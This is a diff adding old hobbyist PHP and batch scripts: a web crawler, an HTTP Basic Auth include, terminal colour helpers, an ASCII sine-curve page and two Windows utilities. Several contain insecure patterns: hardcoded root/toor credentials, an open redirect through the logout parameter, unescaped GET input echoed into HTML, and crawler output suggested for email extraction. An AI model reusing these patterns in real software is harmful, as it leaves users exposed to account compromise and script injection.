+ else { if(sizeof($urls) < $max_urls) array_push($urls, $new_url); }
+ if($debug) { ///Debug Block
+ $u++;
+ $uspeed = round($u/(time()-$t+1), 2);
+ $cspeed = round($c/(time()-$t+1), 2);
+ $time = round((time()-$t)/60, 1);
+ $buffered = sizeof($urls);
+ $historied = sizeof($history);
+ echo("+$u URLs; $c Downloaded; UpTime: $time mins; Buffered: $buffered URLs; History: $historied URLs; Speed: $uspeed URLs/s, $cspeed Downloads/s\n");
+ }
+ }
+ }
+ $new_urls = ''; //Memory cleanup
+}
+
+##EOF
\ No newline at end of file
--- /dev/null
+#!/usr/bin/php
+<?php
+//HSp33der Web Crawler 5.5
+//<-Harvie 2oo7
+/*
+ * Description:
+ * This script crawls the web and printing found URLs to STDOUT.
+ *
+ * Installation:
+ * - Debian:
+ * # apt-get install php5-cli php5-curl curl
+ * $ chmod +x crawler.php
+ * $ ./crawler.php (or $ php crawler.php)
+ * - Windows:
+ * c:/>path/to/php5/php.exe crawler.php
+ * (you can add php.exe to PATH or associate .php files with it)
+ *
+ * Notes:
+ * - You can use EtherApe (or similar sniffer) to get graphical
+ * illustration of connecions (spider with your machine in center).
+ * - There are few bugs in PHP5,
+ * so this crawler may freeze after few minutes,
+ * but you can use $use_curlbin option (need some extra files).
+ * Check this for more info: http://bugs.php.net/bug.php?id=43098
+ *
+ * Tips & Tricks:
+ * - Make found URLs 100% unique:
+ * cat urls.txt | sort -u > uurls.txt && mv -f uurls.txt urls.txt
+ * - Show filesize and total urls count:
+ * du -h urls.txt && cat urls.txt | wc -l
+ * - Open another output pipe:
+ * tail -f urls.txt
+ * - Use some plugin (filter) to extract emails, etc...
+ * tail -f urls.txt | ./example_mail_extractor.php
+ *
+ * Dedicated to: SooM.cz (This is SooM project)
+ * Special thx2:
+ * - PHP, cURL (technology)
+ * - root.cz & php.net (help)
+ * - Linus Torvalds (because I am crawling from Linux)
+ */
+
+///SETTINGS//////////////////
+//Basic
+$seed = 'http://www.secunia.com/'; //Start crawling from this page
+$file = 'urls.txt'; //File to save crawled URLs (use sort to make URLs 100% exclusive)
+$delete_url_db = false; //Delete file with saved URLs before crawling
+$restore = true; //Use last url from $file instead of seed
+//Advanced
+$max_size = 10000; //How many bytes download from each page?
+$max_urls = 30; //Size of URL buffer (prebuffered URLs to crawl, if full, no more URLs will be added to queue)
+$buffer_increase = false; //Increase buffer at buffer underrun?
+$random_url = false; //Select random urls from page? (This may override URL filter)
+$history_max = 1000; //How many last URLs keep in history? (historied URLs will not be crawled again...)
+//Curl binary plugin
+$use_curlbin = false; //Use interface to cURL executable instead of file_get_contents() (More speed, less crashes)
+$curlpath = 'curl'; //Path to cURL executable binary (you can download it from http://curl.haxx.se/)
+//System/PHP
+$socket_timeout = 1; //How long you want wait for a webserver? (seconds)
+$time_limit = 0; //How long run? (seconds; 0==infinite)
+$memory_limit = '128M'; //Maximum memory to eat (if exhausted, crawler will stop)
+//Debug
+$debug = true; //Use debuging mode? (Print errors and statistics)
+
+//Filter
+$eregi_url_blacklist = array( //Most important thing when crawling ;D
+ '(W3\.org|W3C)', //Hell knows...
+ '(shop|xxx|porn|lesbian|hot)', //Commercial sites
+ '(google|209.85.135.104|yahoo.com|amazon.com|youtube.com)', //Big sites
+ '(seznam.cz|centrum.cz|atlas.cz|zoznam.sk|quick.cz)', //Big local sites
+ '.\.(css|ico|gif|jpg|png|bmp|cgi|js|vbs)', //Misc. webpage content
+ '.\.(avi|mpg|mpeg|mov|wmv|wm|mp3|ogg|wma)', //Multimedia files
+ '.\.(pdf|swf|flv|cfm)', //Other text files
+ '.\.(exe|zip|rar|gz|bz|bz2|tar)' //Big and binary files
+);
+
+
+///FUNCTIONS/////////////////
+function shell_curl_get($url, $timeout=0, $maxdata=0) { //I made this cURL interface cause file_get_contents() absolutely sux
+ $curl = 'curl';
+ if(isset($GLOBALS['curlpath'])) $curl = $GLOBALS['curlpath'];
+ $args = "--get --location --connect-timeout $timeout --max-time $timeout --compressed --stderr curl.debug";
+ $url = escapeshellcmd(trim($url));
+ $cmd = "$curl --url \"$url\" $args";
+ if($GLOBALS['debug']) echo("-Ex: $cmd\n");
+ $fp = popen($cmd, 'r');
+ stream_set_timeout($fp, $timeout);
+ stream_set_blocking($fp, 0);
+ //if($timeout>0) sleep($timeout);
+ $data = '';
+ while(!feof($fp)) {
+ $in = fgets($fp, 100);
+ $data .= $in;
+ if($maxdata>0 && strlen($data)>=$maxdata) break;
+ if($in == '') usleep(1000000/8);
+ }
+ @fclose($fp);
+ return $data;
+}
+
+function check_crawl_url($url) { //Use this function to determine if url is wanted
+ foreach($GLOBALS['eregi_url_blacklist'] as $black_url) {
+ if(eregi($black_url, $url)) return(0);
+ }
+ if(in_array($url, $GLOBALS['urls'])) return(0);
+ $file_url = explode('?', $url, 2); $file_url = $file_url[0];
+ if(in_array($file_url, $GLOBALS['history'])) return(0);
+ return(1);
+}
+
+
+///CODE//////////////////////
+//Init
+if($restore && is_file($file)) { //Load last url as seed
+ $urls[1]=$seed; //original seed as backup (if no urls found at restored page)
+ if($debug) echo("!Restoring: ");
+ $rest = fopen($file, 'r');
+ while(!feof($rest)) {
+ $seed = $new;
+ $new = fgets($rest);
+ }
+ fclose($rest);
+ $seed = trim($seed);
+ if($debug) echo($seed."\n");
+ $urls[0]=$seed;
+ $seed=$urls[1];
+}
+
+if($delete_url_db) @unlink($file);
+ini_set('default_socket_timeout',$socket_timeout);
+set_time_limit($time_limit);
+ini_set('memory_limit', $memory_limit);
+
+//Loop
+if($debug) { $u = 0; $c = 0; $t = time(); }
+$history[0] = '';
+$fp = fopen($file, 'a+');
+while(true) { //MAIN L00P
+ if(sizeof($urls) <= 0) {
+ $urls='';
+ $urls[0]=$seed;
+ if($buffer_increase) $max_urls++; //Increase size of buffer by one
+ if($debug) echo("!Buffer underrun! !Buffer size is: $max_urls!\n");
+ }
+
+ //Get URL from buffer, download few bytes and write down URLs to array:
+ $url = array_shift($urls);
+ if($debug) echo("-Parsing: $url\n");
+ if(!$use_curlbin) { $page = @file_get_contents($url, false, null, 0, $max_size); }
+ else { $page = shell_curl_get($url, $socket_timeout, $max_size); }
+ preg_match_all('(http:\/\/[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_~&=\ ?\.a-z0-9\/]*)',htmlspecialchars_decode($page), $new_urls);
+ $new_urls = $new_urls[0];
+
+ foreach($new_urls as $new_url) { //Process grabed URLs
+ if($debug) $c++;///Debug
+ if(check_crawl_url($new_url)) {
+ echo($new_url."\n");
+ fwrite($fp, $new_url."\n");
+ $file_url = explode('?', $new_url, 2); $file_url = $file_url[0];
+ array_push($history, $file_url);
+ while(sizeof($history) > $history_max) @array_shift($history);
+ if($random_url) { if(sizeof($urls) < $max_urls) array_push($urls, $new_urls[rand(0,sizeof($new_urls)-1)]); }
+ else { if(sizeof($urls) < $max_urls) array_push($urls, $new_url); }
+ if($debug) { ///Debug Block
+ $u++;
+ $uspeed = round($u/(time()-$t+1), 2);
+ $cspeed = round($c/(time()-$t+1), 2);
+ $time = round((time()-$t)/60, 1);
+ $buffered = sizeof($urls);
+ $historied = sizeof($history);
+ $memory = round(memory_get_usage()/1000000, 2);
+ echo("+$u URLs; $c Downloaded; UpTime: $time mins; Buffered: $buffered URLs; History: $historied URLs; Speed: $uspeed URLs/s, $cspeed Downloads/s; Memory used: $memory/$memory_limit\n");
+ }
+ }
+ }
+ $new_urls = ''; //Memory cleanup
+}
+
+##EOF
--- /dev/null
+<?php\r
+///SETTINGS//////////////////////////////////////////////////////////////////////////////////////////////////////\r
+//Login\r
+$realm = 'secret_zone'; //This is used by browser to identify protected area and saving passwords (one_site+one_realm==one_user+one_password)\r
+$user = 'root'; //User\r
+$passwd = 'toor'; //Password\r
+//Misc\r
+$require_login = true; //Require login? (if false, no login needed) - WARNING!!!\r
+$location = '401'; //Location after logout - 401 = default logout page (can be overridden by ?logout=[LOCATION])\r
+//CopyLeft\r
+$ver = '3.7.1';\r
+$link = '<a href="https://harvie.ath.cx/">harvie.ath.cx</a>';\r
+$banner = "Harvie's PHP HTTP-Auth script (v$ver)";\r
+$hbanner = "<hr /><i>$banner\n$link</i>\n";\r
+$cbanner = "<!-- $banner -->\n";\r
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////\r
+//MANUAL/////////////////////////////////////////////////////////////////////////////////////////////////////////\r
+/* HOWTO\r
+ * To each file, you want to lock add this line (at begin of first line):\r
+ * <?php include('http_auth.php'); ?>\r
+ * This file have to be php script (if it's html, simply rename it to .php)\r
+ * Server have to run PHP (not CGI).\r
+ * You need HTTP Basic auth enabled on server and in php.ini\r
+ */\r
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////\r
+////CODE/////////////////////////////////////////////////////////////////////////////////////////////////////////\r
+ function send_auth_headers($realm='') {\r
+ Header('WWW-Authenticate: Basic realm="'.$realm.'"');\r
+ Header('HTTP/1.0 401 Unauthorized');\r
+ }\r
+ \r
+ function check_auth($PHP_AUTH_USER, $PHP_AUTH_PW) { //Check if login is succesfull (U can modify to use DB, or anything else)\r
+ return (($PHP_AUTH_USER == $GLOBALS['user']) && ($PHP_AUTH_PW == $GLOBALS['passwd']));\r
+ }\r
+ \r
+ function unauth() { //Do this when login fails\r
+ $cbanner = $GLOBALS['cbanner'];\r
+ $hbanner = $GLOBALS['hbanner'];\r
+ die("$cbanner<title>401 - Forbidden</title>\n<h1>401 - Forbidden</h1>\n<a href=\"?\">Login...</a>\n$hbanner"); //Show warning and die\r
+ die(); //Don't forget!!!\r
+ }\r
+\r
+//Back-Compatibility\r
+if(isset($_SERVER['PHP_AUTH_USER']) && $_SERVER['PHP_AUTH_PW'] != '') $PHP_AUTH_USER = $_SERVER['PHP_AUTH_USER'];\r
+if(isset($_SERVER['PHP_AUTH_PW']) && $_SERVER['PHP_AUTH_PW'] != '') $PHP_AUTH_PW = $_SERVER['PHP_AUTH_PW'];\r
+\r
+//Logout\r
+if(isset($_GET['logout'])) { //script.php?logout\r
+ if(isset($PHP_AUTH_USER) || isset($PHP_AUTH_PW)) {\r
+ Header('WWW-Authenticate: Basic realm="'.$realm.'"');\r
+ Header('HTTP/1.0 401 Unauthorized');\r
+ } else {\r
+ if($_GET['logout'] != '') $location = $_GET['logout'];\r
+ if(trim($location) != '401') Header('Location: '.$location);\r
+ die("$cbanner<title>401 - Log out successfull</title>\n<h1>401 - Log out successfull</h1>\n<a href=\"?\">Continue...</a>\n$hbanner");\r
+ }\r
+}\r
+\r
+if($require_login) {\r
+ if(!isset($PHP_AUTH_USER)) { //Storno or first visit of page\r
+ send_auth_headers($realm);\r
+ unauth();\r
+ } else { //Login sent\r
+ \r
+ if (check_auth($PHP_AUTH_USER, $PHP_AUTH_PW)) { //Login succesfull - probably do nothing\r
+ } else { //Bad login\r
+ send_auth_headers($realm);\r
+ unauth();\r
+ }\r
+ \r
+ }\r
+}\r
+//Rest of file will be displayed only if login is correct\r
+\r
--- /dev/null
+#!/usr/bin/php
+<?php
+/*
+ * Name: term.php
+ * Description: Linux terminal functions for PHP
+ * Author: <-Harvie 2oo7
+ * THX2Root.cz: http://www.root.cz/clanky/barvy-pro-shell/ (see for more help)
+ */
+
+//Font
+function term_font($atr1 = 0, $atr2 = -1) { //Set color of BG/FG and font
+ if($atr2 >= 0) { echo("\033[".trim($atr1).';'.trim($atr2).'m'); }
+ else { echo("\033[".trim($atr1).'m'); }
+}
+//Screen clearing
+function term_cls() { echo("\033[2J"); } //Clear screen
+function term_free_line() { echo("\033[K"); } //Delete line from cursor to end
+//Movement
+function term_return() { echo("\r"); } //Move cursor to 1st col
+function term_tab() { echo("\t"); } //Print TAB
+function term_newline() { echo("\n"); } //Move cursor to next line
+function term_up($n) { echo("\033[".$n.'A'); } //Move cursor $n rows up
+function term_down($n) { echo("\033[".$n.'B'); } //Move cursor $n rows down
+function term_right($n) { echo("\033[".$n.'C'); } //Move cursor $n cols right
+function term_left($n) { echo("\033[".$n.'D'); } //Move cursor $n cols left
+//Position
+function term_pos($row, $col) { echo('\033['.$row.';'.$col.'H'); } //Move cursor at $row and $col
+function term_fpos($row, $col) { echo('\033['.$row.';'.$col.'f'); } //Move cursor at $row and $col
+//Position saving
+function term_pos_save() { echo("\033[s"); } //Save cursor possition (maybe not supported)
+function term_pos_restore() { echo("\033[u"); } //Restore cursor possition (maybe not supported)
+//Info about terminal
+function term_name() { return getenv('TERM'); } //Returns terminal name as string
+function term_color_name() { return getenv('COLORTERM'); } //Returns color terminal name as string
+function term_shell() { return getenv('SHELL'); } //Returns running shell as string
+function term_directory() { return getenv('PWD'); } //Returns working directory as string
+function term_language() { return getenv('LANG'); } //Returns local settings (langue.codepage) as string
+//Showcase
+function term_demo() { //Print demonstration
+ term_font();
+ echo("DEMOnstration of PHPTerm for Unixs' terminals\n".
+ term_name().' - '.term_color_name().' ('.term_shell().
+ ")\n\t\t\t\t<-Harvie 2oo7\n\n");
+ for($i = 0; $i <= 8; $i++) {
+ for($x = 30; $x <= 37; $x++) {
+ term_font($i,$x); echo("A");
+ }
+ term_font();
+ for($y = 40; $y <= 47; $y++) {
+ term_font($y); echo("A");
+ for($x = 30; $x <= 37; $x++) {
+ term_font($i,$x); echo("A");
+ }
+ }
+ term_font();
+ echo("\n");
+ }
+ term_font(); echo("\n");
+}
+
+
+//term_demo();
\ No newline at end of file
--- /dev/null
+<title>SinusCurve - (c) Harvie 2oo6</title>\r
+\r
+<style>\r
+ body { background-color: black; color: lime; font-family: Arial, Tahoma; }\r
+ #hide { border: 2px solid; color: white; margin: 10px; padding: 10px; }\r
+ #sipka {float: right;}\r
+ pre { line-height: 20%; letter-spacing: 0%; word-spacing: 0%; }\r
+@media print {\r
+ #hide { border: none; height: 0px; overflow: hidden; color: red; }\r
+ body { background-color: white; color: black; font-family: Arial, Tahoma;}\r
+}\r
+</style>\r
+\r
+<h2>f:Y = sin(X)</h2>\r
+\r
+<div id="hide">\r
+<form action="#" method="get">\r
+<b>Settings:</b><br /><br />\r
+X-Min: <input type="text" name="start" value="0"> = First X<br />\r
+X-Max:<input type="text" name="reset" value="<? echo(2*PI()); ?>"> = Last X<br />\r
+Step: <input type="text" name="step" value="0.07"> = Increase X by this every line.<br /><br />\r
+\r
+Y-Offset: <input type="text" name="offset" value="1.1"> = Displacement on Y (0 = half sinewave; 1.1 = whole sinewave)<br />\r
+Width:<input type="text" name="width" value="35"> = Y Zoom<br />\r
+Zoom: <input type="text" name="zoom" value="1"> = X Zoom (Every line will be printed this much times.)<br /><br />\r
+\r
+Outline: <input type="text" name="outline" value="+"> = Curve outline (try: "#")<br />\r
+Inlay: <input type="text" name="inlay" value=" "> = Curve inlay (try: ":")<br /><br />\r
+\r
+<i>\r
+Tips:<br />\r
+Press CTRL+A<br />\r
+Press CTRL and try to roll MouseWheeeel...<br />\r
+Look at source code of this webpage ;)<br />\r
+</i><br />\r
+\r
+<input type="submit" value=".: DRAW :.">\r
+</form>\r
+</div>\r
+<pre><?php\r
+//This will draw the ASCII "neverending" sinus curve.\r
+//Writen by (c) Harvie in 2oo6\r
+\r
+//Settings:\r
+$start = 0; //0 //First X\r
+$step = 0.07; //0.1 //Increase X on every line by this number\r
+$reset = (2*PI()); //When X >= reset, then it will be reseted to zero\r
+$zoom = 1; //1 //This will repeat every line few times\r
+$offset = 1.1; //1.1 //1 //0 -> Zero offset will draw only half of sin curve.\r
+$width = 35; //20 //35 //40 //This will stretch every line.\r
+$sleep = "0"; //15000 - Wait between lines in microseconds\r
+$line = (" "); // " " // ":" //chr ( 176 ) //This is the string, that will be repeated from display start to the curve (curve inlay).\r
+$endline = ("+<br />\n"); // "#<br />\n" // ".<br />\n" //chr ( 219 )."<br />\n" //This is the string, that will be printed at end of every line (curve outline).\r
+\r
+//Read settings from form:\r
+if ($_GET["start"] != "") {\r
+ $start = $_GET["start"];}\r
+if ($_GET["reset"] != "") {\r
+ $reset = $_GET["reset"];}\r
+if ($_GET["step"] != "") {\r
+ $step = $_GET["step"];}\r
+\r
+if ($_GET["offset"] != "") {\r
+ $offset = $_GET["offset"];}\r
+if ($_GET["width"] != "") {\r
+ $width = $_GET["width"];}\r
+if ($_GET["zoom"] != "") {\r
+ $zoom = $_GET["zoom"];}\r
+\r
+if ($_GET["outline"] != "") {\r
+ $endline = ($_GET["outline"]."<br />\n");}\r
+if ($_GET["inlay"] != "") {\r
+ $line = $_GET["inlay"];}\r
+\r
+//Code:\r
+echo ("[SinusCurve]-[c][Harvie][2oo6]<br />\n<br />\n");\r
+echo (" | y<br />\n");\r
+echo ("-+-----------------------------------------------------------------------------><span id=\"sipka\">-------> Y ></span><br />\n");\r
+echo ("x|<br />\n");\r
+echo (" V<br /><br />\n<small>\n");\r
+\r
+//sleep(2);\r
+\r
+$pos = $start;\r
+while(1) {\r
+\r
+ //usleep($sleep); //Wait in microseconds\r
+ \r
+ $znaku = ((sin($pos) + $offset) * $width);\r
+ \r
+ $zoom2 = $zoom;\r
+ while ($zoom2 > 0) {\r
+ \r
+ $znaku2 = round($znaku); //It looks better after round ;)\r
+ while ($znaku2 > 0) {\r
+ echo $line;\r
+ $znaku2 = ($znaku2 - 1);\r
+ }\r
+ //echo(" ".$pos); //Debug\r
+ echo ($endline);\r
+ \r
+ $zoom2 = ($zoom2 - 1);\r
+ }\r
+ \r
+ $pos = ($pos + $step);\r
+ if ($pos >= $reset) {\r
+ $pos = 0;\r
+ die();\r
+ }\r
+\r
+}\r
+?></pre></small>\r
--- /dev/null
+websin.php
\ No newline at end of file
--- /dev/null
+@echo off\r
+\r
+echo Enabling IPv6 over Teredo tunnel support...\r
+echo You will need at least Windows XP with SP2 for this!\r
+%SystemRoot%\system32\netsh interface ipv6 install\r
+%SystemRoot%\system32\netsh interface ipv6 set teredo client\r
+\r
+echo Now you can check your settings...\r
+%SystemRoot%\system32\ipconfig\r
+\r
+echo Done!\r
+echo If failed, you will need at least Windows XP with SP2 for this!\r
+pause\r
+\r
+rem DISABLE:\r
+rem %SystemRoot%\system32\netsh interface ipv6 uninstall\r
+\r
--- /dev/null
+@echo off\r
+set outfile=.\seznam_souboru.txt\r
+@%SystemRoot%\system32\chcp 1250 >nul\r
+echo Probiha ziskavani informaci...\r
+echo Vypis souboru od uzivatele %USERNAME% > %outfile%\r
+%SystemRoot%\system32\tree /F /A >> %outfile%\r
+%SystemRoot%\system32\notepad %outfile%\r
+echo HOTOVO!!! Vypis najdes v souboru %outfile%\r
+echo Stiskni enter pro ukonceni...\r
+pause >nul\r
+\r